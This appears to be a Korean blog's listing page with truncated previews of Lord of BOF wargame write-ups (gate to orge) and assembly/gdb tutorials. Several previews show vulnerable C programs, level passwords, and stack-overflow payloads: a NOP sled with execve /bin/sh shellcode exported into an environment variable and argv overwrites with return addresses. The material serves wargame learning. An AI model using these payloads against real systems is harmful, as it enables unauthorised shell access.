전체 글(333)
-
[7] darkelf -> orge ( 심볼릭링크 & argv[2] 활용 )
darkelf / kernel crashed[darkelf@localhost darkelf]$ /bin/bash2[darkelf@localhost darkelf]$ export SHELL=/bin/bash2 [ orge.c ]1234567891011121314151617181920212223242526272829303132333435363738394041424344#include #include extern char **environ; main(int argc, char *argv[]){ char buffer[40]; int i; if(argc 48){ printf("argument is too long!\n"); exit(0); } strcpy(buffer, argv[1]); printf("%s\n",..
2017.11.17 -
[6] wolfman -> darkelf ( argv[2] 활용 )
wolfman / love eyuna[wolfman@localhost wolfman]$ /bin/bash2[wolfman@localhost wolfman]$ SHELL=/bin/bash2 [ darkelf.c ]123456789101112131415161718192021222324252627282930313233343536373839 #include #include extern char **environ; main(int argc, char *argv[]){ char buffer[40]; int i; if(argc 48){ printf("argument is too long!\n"); exit(0); } strcpy(buffer, argv[1]); printf("%s\n", buffer); // buff..
2017.11.17 -
[5] orc -> wolfman ( argv[2] 활용 )
orc / cantata[orc@localhost orc]$ /bin/bash2[orc@localhost orc]$ export SHELL=/bin/bash2 [ wolfman.c ] 12345678910111213141516171819202122232425262728293031#include #include extern char **environ; main(int argc, char *argv[]){ char buffer[40]; int i; if(argc 환경변수 초기화 for(i=0; environ[i]; i++) memset(environ[i], 0, strlen(environ[i])); if(argv[1][47] != '\xbf') { printf("stack is still your frien..
2017.11.17 -
[4] goblin -> orc ( argv[2] 활용 )
goblin / hackers proof[goblin@localhost goblin]$ /bin/bash2[goblin@localhost goblin]$ export SHELL=/bin/bash2 [ orc.c ]123456789101112131415161718192021222324252627282930 #include #include extern char **environ; main(int argc, char *argv[]){ char buffer[40]; int i; if(argc 보정작업[goblin@localhost goblin]$ ./orc $(python -c 'print "A" * 44 + "\x3c\xf9\xff\xbf"') $(python -c 'print "\x90" * 1000 + "..
2017.11.17 -
[3] cobolt -> goblin ( cat 명령어 )
cobolt / hacking exposed[cobolt@localhost cobolt]$ /bin/bash2[cobolt@localhost cobolt]$ SHELL=/bin/bash2 [ goblin.c ] 12345678 int main(){ char buffer[16]; gets(buffer); printf("%s\n", buffer);} cs [ Stack 구조 ]buffer 16bytesaved ebp 4bytesaved eip RET 이전 문제와는 다르게 인자가 아닌 고블린파일을 실행 한 뒤 gets함수를 통해 문자열을 입력받습니다" cat " 을 이용한 오버플로우를 수행하도록 합시다 1> 환경변수에 쉘코드를 올린다[cobolt@localhost cobolt]$ export ..
2017.11.17 -
[2] gremlin -> cobolt ( Small BOF )
gremlin / hello bof world문제 풀이 전 필수입력 !![gremlin@localhost gremlin]$ /bin/bash2[gremlin@localhost gremlin]$ export SHELL=/bin/bash2 [ cobolt.c ]1234567891011int main(int argc, char *argv[]){ char buffer[16]; if(argc 1> 환경변수에 쉘 코드를 올린다$ export tmp=$(python -c 'print "\x90" * 1000 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"')$ env 로 확인 ! 2> ..
2017.11.17 -
[1] gate -> gremlin ( Simple BOF ) 문제풀이 및 유의사항
# BOF 원정대를 시작하기에 앞서 항상 기억해두어야 할 것이 있습니다해당 버전의 리눅스에서는 " ff " 입력을 " 00 " 으로 인식하는 오류가 발생합니다이를 해결하기 위해 항상 문제를 풀기 전에 다음 두개의 명령어를 입력하시고 문제를 진행하시기 바랍니다1> [~~]$ /bin/bash2 2> [~~]$ export SHELL=/bin/bash2환경변수의 SHELL을 변경하는 이유는 gdb 실행시 bash2를 사용해서 gdb를 열도록 하기 위함입니다그럼 문제풀이 시작하겠습니다 [ gremlin.c ]123456789101112 int main(int argc, char *argv[]){ char buffer[256]; if(argc 1> 환경변수에 쉘코드를 올린다 [1] $(cmd)$( ) 내부에 있..
2017.11.17 -
[15] gdb 디스어셈블러 사용법,예제 ( C와 어셈블리 )
gdb 명령어 관련 http://itsaessak.tistory.com/78 #include char *passwoprd = "th3p4ssw0rd"; int main(){ // 1036byte char buffer[1024]; // ebp- 1024 char *p; // ebp-1028 char *q; // ebp-1032 int length; // ebp-1036 printf("Input password: "); // char *fgets( char *s, int size, FILE *stream); fgets(buffer,1024,stdin); if ( length > 0 && buffer[length-1] == '\n' ){ buffer[length-1] = 0 ; } while ( *p != 0..
2017.11.03 -
[13] 어셈블리 cat구현 ( SystemCall )
[ System Call 형식 ] [ C Progrmming ]1234567891011121314151617int main(){ char file[1024]; write( 1,"FILE: ", 6 ); len = read ( 0, file , 1024 ); file[len-1] = 0 ; ret = open ( file, O_RDONLY ); // ReadOnly
2017.11.01 -
[12] 어셈블리 mkdir 구현 ( SystemCall )
[ System Call 형식 ] 표를 참고해서 레지스터에 어떤 값을 넣어야 할지 확인하자 [ mkdir C언어 표현 ]1234567891011121314151617181920212223242526272829303132int main(){ char path[1024]; int len=0; write( 1, "path: " , 6 ) // write( fd , 문자 , 출력할 길이 ) , fd=1 : 표준출력 len = read( 0, path, 1024 ) ; // read( fd, 저장할 변수, 입력받을 길이 ) , fd=0 : 표준 입력 path[len-1] = 0 // 사용자로부터 문자열을 입력받는다, 마지막의 뉴라인을 제거해야한다 ret = mkdir( path, 0755 ) // mkdir ( ..
2017.10.31